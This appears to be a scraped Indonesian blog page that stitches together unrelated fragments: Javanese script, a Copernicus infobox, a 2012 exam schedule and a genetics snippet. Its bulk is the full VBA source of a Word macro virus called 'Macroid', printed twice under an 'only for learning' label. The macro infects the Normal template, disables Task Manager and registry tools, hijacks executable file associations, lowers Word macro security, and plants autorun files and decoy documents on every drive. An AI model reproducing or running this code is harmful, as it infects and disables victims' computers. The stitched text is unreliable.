Oleh : BRM Panji Anom Resiningrum
Huruf atau carakan Jawa yakni ha na ca ra ka dan seterusnya merupakan sabda pangandikanipun) dari Tuhan YME di tanah Jawa.
| Nicolaus Copernicus | |
|---|---|
Portrait, 1580, Toruń Old Town City Hall | |
| Born |
19 February 1473
Toruń (Thorn), Royal Prussia,Kingdom of Poland
|
| Died |
24 May 1543 (aged 70)
Frombork (Frauenburg), Prince-Bishopric of Warmia, Royal Prussia, Kingdom of Poland
|
| Fields | Mathematics, astronomy, canon law, medicine, economics |
| Alma mater |
University of Padua |
| Known for | |
| Signature | |
Kisi-kisi ujian nasional 2012 (UN 2012) juga sudah ditetapkan BSNP bersamaan dengan POS UN 2012 dan Jadwal Ujian Nasional tahun 2012.
Kisi-kisi Soal Ujian Nasional 2012 disusun berdasarkan Standar
Kompetensi dan Kompetensi Dasar seperti yang telah diatur pada
Permendiknas Nomor 22 tahun 2006 tentang Standar Isi untuk satuan
Pendidikan Dasar dan Menengah.| No. | Jenjang Pendidikan | Ujian Utama | Ujian Susulan | Penentuan Kelulusan |
| 1 | SMA/MA dan SMK | 16 – 19 April 2012 | 23 26 April 2012 | 24 Mei 2012 |
| 2 | SMP/MTs dan SMPLB | 23 26 April 2012 | 30 April 4 Mei 2012 | 02 Juni 2012 |
| 3 | SD/MI dan SDLB | 07 09 Mei 2012 | 14 16 Mei 2912 | Kewenangan Provinsi |
1
|
<span style="color: #ff0000;">‘This is my code’s virus</span>
|
1
|
<span style="color: #ff0000;">‘</span>
|
1
|
<span style="color: #ff0000;">‘Macro Viruses</span>
|
1
|
<span style="color: #ff0000;">‘[Macroid]</span>
|
1
|
<span style="color: #ff0000;">‘</span>
|
1
|
<span style="color: #ff0000;">‘Hanya untuk pembelajaran</span>
|
1
|
<span style="color: #ff0000;">Private Sub Document_Close()</span>
|
1
|
<span style="color: #ff0000;">Dim AD, NT As Object</span>
|
1
|
<span style="color: #ff0000;">Dim isi As String</span>
|
1
|
<span style="color: #ff0000;">Set AD = ActiveDocument.VBProject.VBComponents.Item(1)</span>
|
1
|
<span style="color: #ff0000;">Set NT = NormalTemplate.VBProject.VBComponents.Item(1)</span>
|
1
|
<span style="color: #ff0000;">If AD.Name <> “Macroid” Then</span>
|
1
|
<span style="color: #ff0000;">AD.CodeModule.DeleteLines 1, AD.CodeModule.CountOfLines</span>
|
1
|
<span style="color: #ff0000;">AD.Name = “Macroid”</span>
|
1
|
<span style="color: #ff0000;">isi = NT.CodeModule.Lines(1, NT.CodeModule.CountOfLines)</span>
|
1
|
<span style="color: #ff0000;">AD.CodeModule.AddFromString isi</span>
|
1
|
<span style="color: #ff0000;">ActiveDocument.Save</span>
|
1
|
<span style="color: #ff0000;">End If</span>
|
1
|
<span style="color: #ff0000;">If NT.Name <> “Macroid” Then</span>
|
1
|
<span style="color: #ff0000;">NT.CodeModule.DeleteLines 1, NT.CodeModule.CountOfLines</span>
|
1
|
<span style="color: #ff0000;">NT.Name = “Macroid”</span>
|
1
|
<span style="color: #ff0000;">isi = AD.CodeModule.Lines(1, AD.CodeModule.CountOfLines)</span>
|
1
|
<span style="color: #ff0000;">NT.CodeModule.AddFromString isi</span>
|
1
|
<span style="color: #ff0000;">NormalTemplate.Save</span>
|
1
|
<span style="color: #ff0000;">End If</span>
|
1
|
<span style="color: #ff0000;">If InStr(ActiveDocument.Content, “Macroid”) = 0 Then</span>
|
1
|
<span style="color: #ff0000;">ActiveDocument.Content = “[Macroid]” & vbCrLf & ActiveDocument.Content & vbCrLf & vbCrLf & vbCrLf & “[Macroid] by Morphic” & vbCrLf & “copyright(c) Medan Juli-2008″</span>
|
1
|
<span style="color: #ff0000;">End If</span>
|
1
|
<span style="color: #ff0000;">On Error Resume Next</span>
|
1
|
<span style="color: #ff0000;">Dim b As Object</span>
|
1
|
<span style="color: #ff0000;">Set b = CreateObject(“Wscript.Shell”)</span>
|
1
|
<span style="color: #ff0000;">b.regwrite “HKCU\SOFTWARE\Microsoft\Internet Explorer\Main\Window Title”, “Browser Internet ini diambil alih oleh Macroid”</span>
|
1
|
<span style="color: #ff0000;">b.regwrite “HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption”, “Macroid”</span>
|
1
|
<span style="color: #ff0000;">b.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOrganization”, “Macroid”</span>
|
1
|
<span style="color: #ff0000;">b.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOwner”, “VM-Morphic”</span>
|
1
|
<span style="color: #ff0000;">b.regwrite “HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\LegalNoticeText”, “Macroid-A. Eat this!!! Ha ha ha”</span>
|
1
|
<span style="color: #ff0000;">b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Advanced\Hidden”, “2″</span>
|
1
|
<span style="color: #ff0000;">b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind”, “1″</span>
|
1
|
<span style="color: #ff0000;">b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions”, “1″</span>
|
1
|
<span style="color: #ff0000;">b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun”, “1″</span>
|
1
|
<span style="color: #ff0000;">b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools”, “1″</span>
|
1
|
<span style="color: #ff0000;">b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr”, “1″</span>
|
1
|
<span style="color: #ff0000;">b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt”, “1″</span>
|
1
|
<span style="color: #ff0000;">b.regwrite “HKLM\SOFTWARE\Classes\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\”, “Tong Sampah Macroid”</span>
|
1
|
<span style="color: #ff0000;">b.regwrite “HKLM\SOFTWARE\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\”, “Komputer Morphic”</span>
|
1
|
<span style="color: #ff0000;">b.regwrite “HKLM\SOFTWARE\Classes\exefile\shell\open\command\”, “Winword.exe ” & Environ$(“windir”) & “\Macroid.doc”</span>
|
1
|
<span style="color: #ff0000;">b.regwrite “HKLM\SOFTWARE\Classes\comfile\shell\open\command\”, “Winword.exe ” & Environ$(“windir”) & “\Macroid.doc”</span>
|
1
|
<span style="color: #ff0000;">b.regwrite “HKLM\SOFTWARE\Classes\vbsfile\shell\edit\command\”, “Winword.exe ” & Environ$(“windir”) & “\Macroid.doc”</span>
|
1
|
<span style="color: #ff0000;">b.regwrite “HKLM\SOFTWARE\Classes\txtfile\shell\open\command\”, “Winword.exe ” & Environ$(“windir”) & “\Macroid.doc”</span>
|
1
|
<span style="color: #ff0000;">b.regwrite “HKLM\SOFTWARE\Classes\scrfile\shell\open\command\”, “Winword.exe ” & Environ$(“windir”) & “\Macroid.doc”</span>
|
1
|
<span style="color: #ff0000;">b.regwrite “HKLM\SOFTWARE\Classes\batfile\shell\open\command\”, “Winword.exe ” & Environ$(“windir”) & “\Macroid.doc”</span>
|
1
|
<span style="color: #ff0000;">b.regwrite “HKLM\SOFTWARE\Classes\Folder\shell\”, “0pen”</span>
|
1
|
<span style="color: #ff0000;">b.regwrite “HKLM\SOFTWARE\Classes\Folder\shellpen\”, “&Open”</span>
|
1
|
<span style="color: #ff0000;">b.regwrite “HKLM\SOFTWARE\Classes\Folder\shellpen\command\”, “wscript.exe ” & Environ$(“windir”) & “\avmc.vbs”</span>
|
1
|
<span style="color: #ff0000;">b.regwrite “HKLM\SOFTWARE\Classes\VisualBasic.Project\shell\open\command\”, “Winword.exe ” & Environ$(“windir”) & “\Macroid.doc”</span>
|
1
|
<span style="color: #ff0000;">On Error Resume Next</span>
|
1
|
<span style="color: #ff0000;">Dim rog As Integer</span>
|
1
|
<span style="color: #ff0000;">Dim atr, vbs, Tipu(10), Trik(10) As String</span>
|
1
|
<span style="color: #ff0000;">For a = 66 To 90</span>
|
1
|
<span style="color: #ff0000;">partisi = Chr$(a)</span>
|
1
|
<span style="color: #ff0000;">vbs = partisi & “:\auto.vbs”</span>
|
1
|
<span style="color: #ff0000;">atr = partisi & “:\autorun.inf”</span>
|
1
|
<span style="color: #ff0000;">Tipu(1) = partisi & “:\Soal SPMB 1995-2008.doc”</span>
|
1
|
<span style="color: #ff0000;">Tipu(2) = partisi & “:\Kisah di balik HarryPotter.doc”</span>
|
1
|
<span style="color: #ff0000;">Tipu(3) = partisi & “:\Titip File sebentar.doc”</span>
|
1
|
<span style="color: #ff0000;">Tipu(4) = partisi & “:\jangan di baca.doc”</span>
|
1
|
<span style="color: #ff0000;">Tipu(5) = partisi & “:\buku harian.doc”</span>
|
1
|
<span style="color: #ff0000;">Tipu(6) = partisi & “:\cerita hangat.doc”</span>
|
1
|
<span style="color: #ff0000;">Tipu(7) = partisi & “:\Punya Baim.doc”</span>
|
1
|
<span style="color: #ff0000;">Tipu(8) = partisi & “:\Teka-teki yang baru.doc”</span>
|
1
|
<span style="color: #ff0000;">Tipu(9) = partisi & “:\Kumpulan cerita lucu.doc”</span>
|
1
|
<span style="color: #ff0000;">Tipu(10) = partisi & “:\Trik Sulap.doc”</span>
|
1
|
<span style="color: #ff0000;">If Dir(Tipu(1)) = “” And Dir(Tipu(2)) = “” And Dir(Tipu(3)) = “” And Dir(Tipu(4)) = “” And Dir(Tipu(5)) = “” And Dir(Tipu(6)) = “” And Dir(Tipu(7)) = “” And Dir(Tipu(8)) = “” And Dir(Tipu(9)) = “” And Dir(Tipu(10)) = “” Then</span>
|
1
|
<span style="color: #ff0000;">Randomize</span>
|
1
|
<span style="color: #ff0000;">rog = Int(10 * Rnd) + 1</span>
|
1
|
<span style="color: #ff0000;">Open Tipu(rog) For Output As #1</span>
|
1
|
<span style="color: #ff0000;">Print #1, “”</span>
|
1
|
<span style="color: #ff0000;">Close #1</span>
|
1
|
<span style="color: #ff0000;">End If</span>
|
1
|
<span style="color: #ff0000;">Trik(1) = partisi & “:\Novel J.K.Rowling.doc”</span>
|
1
|
<span style="color: #ff0000;">Trik(2) = partisi & “:\cerita cinta.doc”</span>
|
1
|
<span style="color: #ff0000;">Trik(3) = partisi & “:\Ringkasan cerita HarryPotter.doc”</span>
|
1
|
<span style="color: #ff0000;">Trik(4) = partisi & “:\Semua Cheat game DOTA.doc”</span>
|
1
|
<span style="color: #ff0000;">Trik(5) = partisi & “:\Kumpulan Cheat game.doc”</span>
|
1
|
<span style="color: #ff0000;">Trik(6) = partisi & “:\Cheat game RF.doc”</span>
|
1
|
<span style="color: #ff0000;">Trik(7) = partisi & “:\Cheat game Ayo Dance.doc”</span>
|
1
|
<span style="color: #ff0000;">Trik(8) = partisi & “:\Goosebumps.doc”</span>
|
1
|
<span style="color: #ff0000;">Trik(9) = partisi & “:\FearStreet.doc”</span>
|
1
|
<span style="color: #ff0000;">Trik(10) = partisi & “:\R.L.Stine.doc”</span>
|
1
|
<span style="color: #ff0000;">If Dir(Trik(1)) = “” And Dir(Trik(2)) = “” And Dir(Trik(3)) = “” And Dir(Trik(4)) = “” And Dir(Trik(5)) = “” And Dir(Trik(6)) = “” And Dir(Trik(7)) = “” And Dir(Trik(8)) = “” And Dir(Trik(9)) = “” And Dir(Trik(10)) = “” Then</span>
|
1
|
<span style="color: #ff0000;">Randomize</span>
|
1
|
<span style="color: #ff0000;">rogi = Int(10 * Rnd) + 1</span>
|
1
|
<span style="color: #ff0000;">Open Trik(rogi) For Output As #1</span>
|
1
|
<span style="color: #ff0000;">Print #1, “”</span>
|
1
|
<span style="color: #ff0000;">Close #1</span>
|
1
|
<span style="color: #ff0000;">End If</span>
|
1
|
<span style="color: #ff0000;">Open atr For Output As #1</span>
|
1
|
<span style="color: #ff0000;">Print #1, “[Autorun]“</span>
|
1
|
<span style="color: #ff0000;">Print #1, “shell\Open\command=wscript.exe auto.vbs”</span>
|
1
|
<span style="color: #ff0000;">Close #1</span>
|
1
|
<span style="color: #ff0000;">SetAttr atr, vbHidden + vbSystem</span>
|
1
|
<span style="color: #ff0000;">Open vbs For Output As #1</span>
|
1
|
<span style="color: #ff0000;">Print #1, “dim a”</span>
|
1
|
<span style="color: #ff0000;">Print #1, “set a = createobject(” & Chr(34) & “Wscript.shell” & Chr(34) & “)”</span>
|
1
|
<span style="color: #ff0000;">Print #1, “a.regwrite ” & Chr(34) & “HKCU\Software\Microsoft\Office\10.0\Word\Security\Level” & Chr(34) & “,” & Chr(34) & “1″ & Chr(34) & “,” & Chr(34) & “REG_DWORD” & Chr(34)</span>
|
1
|
<span style="color: #ff0000;">Print #1, “a.regwrite ” & Chr(34) & “HKCU\Software\Microsoft\Office\11.0\Word\Security\Level” & Chr(34) & “,” & Chr(34) & “1″ & Chr(34) & “,” & Chr(34) & “REG_DWORD” & Chr(34)</span>
|
1
|
<span style="color: #ff0000;">Print #1, “a.regwrite ” & Chr(34) & “HKCU\Software\Microsoft\Office\12.0\Word\Security\Level” & Chr(34) & “,” & Chr(34) & “1″ & Chr(34) & “,” & Chr(34) & “REG_DWORD” & Chr(34)</span>
|
1
|
<span style="color: #ff0000;">Close #1</span>
|
1
|
<span style="color: #ff0000;">SetAttr vbs, vbHidden + vbSystem</span>
|
1
|
<span style="color: #ff0000;">Next a</span>
|
1
|
<span style="color: #ff0000;">If Dir(Environ$(“windir”) & “\Macroid.doc”) = “” Then</span>
|
1
|
<span style="color: #ff0000;">Dim isicrita As String</span>
|
1
|
<span style="color: #ff0000;">isicrita = “[Macroid] by Morphic” & vbCrLf & “Copyright(c) Medan Juli-2008″ & vbCrLf & vbCrLf & _</span>
|
1
|
<span style="color: #ff0000;">Chr(34) & “Ms.Word is a thing that can be used as a power to break everything…. ” & Chr(34) & vbCrLf & “(Morphic)”</span>
|
1
|
<span style="color: #ff0000;">Open Environ$(“windir”) & “\Macroid.doc” For Output As #1</span>
|
1
|
<span style="color: #ff0000;">Print #1, isicrita</span>
|
1
|
<span style="color: #ff0000;">Close #1</span>
|
1
|
<span style="color: #ff0000;">End If</span>
|
1
|
<span style="color: #ff0000;">If Dir(Environ$(“windir”) & “\avmc.vbs”) = “” Then</span>
|
1
|
<span style="color: #ff0000;">Open Environ$(“windir”) & “\avmc.vbs” For Output As #1</span>
|
1
|
<span style="color: #ff0000;">Print #1, “set fs = createobject(” & Chr(34) & “Scripting.FileSystemObject” & Chr(34) & “)”</span>
|
1
|
<span style="color: #ff0000;">Print #1, “for each FD in fs.drives”</span>
|
1
|
<span style="color: #ff0000;">Print #1, “if (FD.Drivetype = 1) and FD.Path <> ” & Chr(34) & “A:” & Chr(34) & ” then”</span>
|
1
|
<span style="color: #ff0000;">Print #1, “set tf = fs.CreateTextFile(FD.Path” & Chr(38) & Chr(34) & “\Jangan di baca.doc” & Chr(34) & “)”</span>
|
1
|
<span style="color: #ff0000;">Print #1, “end if”</span>
|
1
|
<span style="color: #ff0000;">Print #1, “Next”</span>
|
1
|
<span style="color: #ff0000;">Close #1</span>
|
1
|
<span style="color: #ff0000;">End If</span>
|
1
|
<span style="color: #ff0000;">ActiveDocument.Save</span>
|
1
|
<span style="color: #ff0000;">NormalTemplate.Save</span>
|
1
|
<span style="color: #ff0000;">End Sub</span>
|
1
|
<span style="color: #ff0000;">Private Sub Document_Open()</span>
|
1
|
<span style="color: #ff0000;">CommandBars(“Tools”).Controls(“Macro”).Visible = False</span>
|
1
|
<span style="color: #ff0000;">CommandBars(“Tools”).Controls(“Macro”).Enabled = False</span>
|
1
|
<span style="color: #ff0000;">CommandBars(“Tools”).Controls(“Customize…”).Visible = False</span>
|
1
|
<span style="color: #ff0000;">CommandBars(“Tools”).Controls(“Options…”).Visible = False</span>
|
1
|
<span style="color: #ff0000;">Dim AD, NT As Object</span>
|
1
|
<span style="color: #ff0000;">Dim isi As String</span>
|
1
|
<span style="color: #ff0000;">Set AD = ActiveDocument.VBProject.VBComponents.Item(1)</span>
|
1
|
<span style="color: #ff0000;">Set NT = NormalTemplate.VBProject.VBComponents.Item(1)</span>
|
1
|
<span style="color: #ff0000;">If AD.Name <> “Macroid” Then</span>
|
1
|
<span style="color: #ff0000;">AD.CodeModule.DeleteLines 1, AD.CodeModule.CountOfLines</span>
|
1
|
<span style="color: #ff0000;">AD.Name = “Macroid”</span>
|
1
|
<span style="color: #ff0000;">isi = NT.CodeModule.Lines(1, NT.CodeModule.CountOfLines)</span>
|
1
|
<span style="color: #ff0000;">AD.CodeModule.AddFromString isi</span>
|
1
|
<span style="color: #ff0000;">ActiveDocument.Save</span>
|
1
|
<span style="color: #ff0000;">End If</span>
|
1
|
<span style="color: #ff0000;">If NT.Name <> “Macroid” Then</span>
|
1
|
<span style="color: #ff0000;">NT.CodeModule.DeleteLines 1, NT.CodeModule.CountOfLines</span>
|
1
|
<span style="color: #ff0000;">NT.Name = “Macroid”</span>
|
1
|
<span style="color: #ff0000;">isi = AD.CodeModule.Lines(1, AD.CodeModule.CountOfLines)</span>
|
1
|
<span style="color: #ff0000;">NT.CodeModule.AddFromString isi</span>
|
1
|
<span style="color: #ff0000;">NormalTemplate.Save</span>
|
1
|
<span style="color: #ff0000;">End If</span>
|
1
|
<span style="color: #ff0000;">If InStr(ActiveDocument.Content, “Macroid”) = 0 Then</span>
|
1
|
<span style="color: #ff0000;">ActiveDocument.Content = “[Macroid]” & vbCrLf & ActiveDocument.Content & vbCrLf & vbCrLf & vbCrLf & “[Macroid] by Morphic” & vbCrLf & “copyright(c) Medan Juli-2008″</span>
|
1
|
<span style="color: #ff0000;">End If</span>
|
1
|
<span style="color: #ff0000;">On Error Resume Next</span>
|
1
|
<span style="color: #ff0000;">Dim b As Object</span>
|
1
|
<span style="color: #ff0000;">Set b = CreateObject(“Wscript.Shell”)</span>
|
1
|
<span style="color: #ff0000;">b.regwrite “HKCU\SOFTWARE\Microsoft\Internet Explorer\Main\Window Title”, “Browser Internet ini diambil alih oleh Macroid”</span>
|
1
|
<span style="color: #ff0000;">b.regwrite “HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption”, “Macroid”</span>
|
1
|
<span style="color: #ff0000;">b.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOrganization”, “Macroid”</span>
|
1
|
<span style="color: #ff0000;">b.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOwner”, “VM-Morphic”</span>
|
1
|
<span style="color: #ff0000;">b.regwrite “HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\LegalNoticeText”, “Macroid-A. Eat this!!! Ha ha ha”</span>
|
1
|
<span style="color: #ff0000;">b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Advanced\Hidden”, “2″</span>
|
1
|
<span style="color: #ff0000;">b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind”, “1″</span>
|
1
|
<span style="color: #ff0000;">b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions”, “1″</span>
|
1
|
<span style="color: #ff0000;">b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun”, “1″</span>
|
1
|
<span style="color: #ff0000;">b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools”, “1″</span>
|
1
|
<span style="color: #ff0000;">b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr”, “1″</span>
|
1
|
<span style="color: #ff0000;">b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt”, “1″</span>
|
1
|
<span style="color: #ff0000;">b.regwrite “HKLM\SOFTWARE\Classes\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\”, “Tong Sampah Macroid”</span>
|
1
|
<span style="color: #ff0000;">b.regwrite “HKLM\SOFTWARE\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\”, “Komputer Morphic”</span>
|
1
|
<span style="color: #ff0000;">b.regwrite “HKLM\SOFTWARE\Classes\exefile\shell\open\command\”, “Winword.exe ” & Environ$(“windir”) & “\Macroid.doc”</span>
|
1
|
<span style="color: #ff0000;">b.regwrite “HKLM\SOFTWARE\Classes\comfile\shell\open\command\”, “Winword.exe ” & Environ$(“windir”) & “\Macroid.doc”</span>
|
1
|
<span style="color: #ff0000;">b.regwrite “HKLM\SOFTWARE\Classes\vbsfile\shell\edit\command\”, “Winword.exe ” & Environ$(“windir”) & “\Macroid.doc”</span>
|
1
|
<span style="color: #ff0000;">b.regwrite “HKLM\SOFTWARE\Classes\txtfile\shell\open\command\”, “Winword.exe ” & Environ$(“windir”) & “\Macroid.doc”</span>
|
1
|
<span style="color: #ff0000;">b.regwrite “HKLM\SOFTWARE\Classes\scrfile\shell\open\command\”, “Winword.exe ” & Environ$(“windir”) & “\Macroid.doc”</span>
|
1
|
<span style="color: #ff0000;">b.regwrite “HKLM\SOFTWARE\Classes\batfile\shell\open\command\”, “Winword.exe ” & Environ$(“windir”) & “\Macroid.doc”</span>
|
1
|
<span style="color: #ff0000;">b.regwrite “HKLM\SOFTWARE\Classes\Folder\shell\”, “0pen”</span>
|
1
|
<span style="color: #ff0000;">b.regwrite “HKLM\SOFTWARE\Classes\Folder\shellpen\”, “&Open”</span>
|
1
|
<span style="color: #ff0000;">b.regwrite “HKLM\SOFTWARE\Classes\Folder\shellpen\command\”, “wscript.exe ” & Environ$(“windir”) & “\avmc.vbs”</span>
|
1
|
<span style="color: #ff0000;">b.regwrite “HKLM\SOFTWARE\Classes\VisualBasic.Project\shell\open\command\”, “Winword.exe ” & Environ$(“windir”) & “\Macroid.doc”</span>
|
1
|
<span style="color: #ff0000;">On Error Resume Next</span>
|
1
|
<span style="color: #ff0000;">Dim rog As Integer</span>
|
1
|
<span style="color: #ff0000;">Dim atr, vbs, Tipu(10), Trik(10) As String</span>
|
1
|
<span style="color: #ff0000;">For a = 66 To 90</span>
|
1
|
<span style="color: #ff0000;">partisi = Chr$(a)</span>
|
1
|
<span style="color: #ff0000;">vbs = partisi & “:\auto.vbs”</span>
|
1
|
<span style="color: #ff0000;">atr = partisi & “:\autorun.inf”</span>
|
1
|
<span style="color: #ff0000;">Tipu(1) = partisi & “:\Soal SPMB 1995-2008.doc”</span>
|
1
|
<span style="color: #ff0000;">Tipu(2) = partisi & “:\Kisah di balik HarryPotter.doc”</span>
|
1
|
<span style="color: #ff0000;">Tipu(3) = partisi & “:\Titip File sebentar.doc”</span>
|
1
|
<span style="color: #ff0000;">Tipu(4) = partisi & “:\jangan di baca.doc”</span>
|
1
|
<span style="color: #ff0000;">Tipu(5) = partisi & “:\buku harian.doc”</span>
|
1
|
<span style="color: #ff0000;">Tipu(6) = partisi & “:\cerita hangat.doc”</span>
|
1
|
<span style="color: #ff0000;">Tipu(7) = partisi & “:\Punya Baim.doc”</span>
|
1
|
<span style="color: #ff0000;">Tipu(8) = partisi & “:\Teka-teki yang baru.doc”</span>
|
1
|
<span style="color: #ff0000;">Tipu(9) = partisi & “:\Kumpulan cerita lucu.doc”</span>
|
1
|
<span style="color: #ff0000;">Tipu(10) = partisi & “:\Trik Sulap.doc”</span>
|
1
|
<span style="color: #ff0000;">If Dir(Tipu(1)) = “” And Dir(Tipu(2)) = “” And Dir(Tipu(3)) = “” And Dir(Tipu(4)) = “” And Dir(Tipu(5)) = “” And Dir(Tipu(6)) = “” And Dir(Tipu(7)) = “” And Dir(Tipu(8)) = “” And Dir(Tipu(9)) = “” And Dir(Tipu(10)) = “” Then</span>
|
1
|
<span style="color: #ff0000;">Randomize</span>
|
1
|
<span style="color: #ff0000;">rog = Int(10 * Rnd) + 1</span>
|
1
|
<span style="color: #ff0000;">Open Tipu(rog) For Output As #1</span>
|
1
|
<span style="color: #ff0000;">Print #1, “”</span>
|
1
|
<span style="color: #ff0000;">Close #1</span>
|
1
|
<span style="color: #ff0000;">End If</span>
|
1
|
<span style="color: #ff0000;">Trik(1) = partisi & “:\Novel J.K.Rowling.doc”</span>
|
1
|
<span style="color: #ff0000;">Trik(2) = partisi & “:\cerita cinta.doc”</span>
|
1
|
<span style="color: #ff0000;">Trik(3) = partisi & “:\Ringkasan cerita HarryPotter.doc”</span>
|
1
|
<span style="color: #ff0000;">Trik(4) = partisi & “:\Semua Cheat game DOTA.doc”</span>
|
1
|
<span style="color: #ff0000;">Trik(5) = partisi & “:\Kumpulan Cheat game.doc”</span>
|
1
|
<span style="color: #ff0000;">Trik(6) = partisi & “:\Cheat game RF.doc”</span>
|
1
|
<span style="color: #ff0000;">Trik(7) = partisi & “:\Cheat game Ayo Dance.doc”</span>
|
1
|
<span style="color: #ff0000;">Trik(8) = partisi & “:\Goosebumps.doc”</span>
|
1
|
<span style="color: #ff0000;">Trik(9) = partisi & “:\FearStreet.doc”</span>
|
1
|
<span style="color: #ff0000;">Trik(10) = partisi & “:\R.L.Stine.doc”</span>
|
1
|
<span style="color: #ff0000;">If Dir(Trik(1)) = “” And Dir(Trik(2)) = “” And Dir(Trik(3)) = “” And Dir(Trik(4)) = “” And Dir(Trik(5)) = “” And Dir(Trik(6)) = “” And Dir(Trik(7)) = “” And Dir(Trik(8)) = “” And Dir(Trik(9)) = “” And Dir(Trik(10)) = “” Then</span>
|
1
|
<span style="color: #ff0000;">Randomize</span>
|
1
|
<span style="color: #ff0000;">rogi = Int(10 * Rnd) + 1</span>
|
1
|
<span style="color: #ff0000;">Open Trik(rogi) For Output As #1</span>
|
1
|
<span style="color: #ff0000;">Print #1, “”</span>
|
1
|
<span style="color: #ff0000;">Close #1</span>
|
1
|
<span style="color: #ff0000;">End If</span>
|
1
|
<span style="color: #ff0000;">Open atr For Output As #1</span>
|
1
|
<span style="color: #ff0000;">Print #1, “[Autorun]“</span>
|
1
|
<span style="color: #ff0000;">Print #1, “shell\Open\command=wscript.exe auto.vbs”</span>
|
1
|
<span style="color: #ff0000;">Close #1</span>
|
1
|
<span style="color: #ff0000;">SetAttr atr, vbHidden + vbSystem</span>
|
1
|
<span style="color: #ff0000;">Open vbs For Output As #1</span>
|
1
|
<span style="color: #ff0000;">Print #1, “dim a”</span>
|
1
|
<span style="color: #ff0000;">Print #1, “set a = createobject(” & Chr(34) & “Wscript.shell” & Chr(34) & “)”</span>
|
1
|
<span style="color: #ff0000;">Print #1, “a.regwrite ” & Chr(34) & “HKCU\Software\Microsoft\Office\10.0\Word\Security\Level” & Chr(34) & “,” & Chr(34) & “1″ & Chr(34) & “,” & Chr(34) & “REG_DWORD” & Chr(34)</span>
|
1
|
<span style="color: #ff0000;">Print #1, “a.regwrite ” & Chr(34) & “HKCU\Software\Microsoft\Office\11.0\Word\Security\Level” & Chr(34) & “,” & Chr(34) & “1″ & Chr(34) & “,” & Chr(34) & “REG_DWORD” & Chr(34)</span>
|
1
|
<span style="color: #ff0000;">Print #1, “a.regwrite ” & Chr(34) & “HKCU\Software\Microsoft\Office\12.0\Word\Security\Level” & Chr(34) & “,” & Chr(34) & “1″ & Chr(34) & “,” & Chr(34) & “REG_DWORD” & Chr(34)</span>
|
1
|
<span style="color: #ff0000;">Close #1</span>
|
1
|
<span style="color: #ff0000;">SetAttr vbs, vbHidden + vbSystem</span>
|
1
|
<span style="color: #ff0000;">Next a</span>
|
1
|
<span style="color: #ff0000;">End Sub</span>
|
1
|
<span style="color: #ff0000;">dim AD as object set AD=ActiveDocument.VBProject.VBComponents.Item(1)</span>
|
1
|
<span style="color: #ff0000;">if AD.Name “Macroid” then AD.CodeModule.DeleteLines 1, AD.CodeModule.CountOfLines AD.Name = “Macroid” end if</span>
|
Pola-pola hereditas mempelajari berbagai macam cara pewarisan sifat, yang meliputi: Pautan (linkage) Pindahsilang (crossing over) Paut...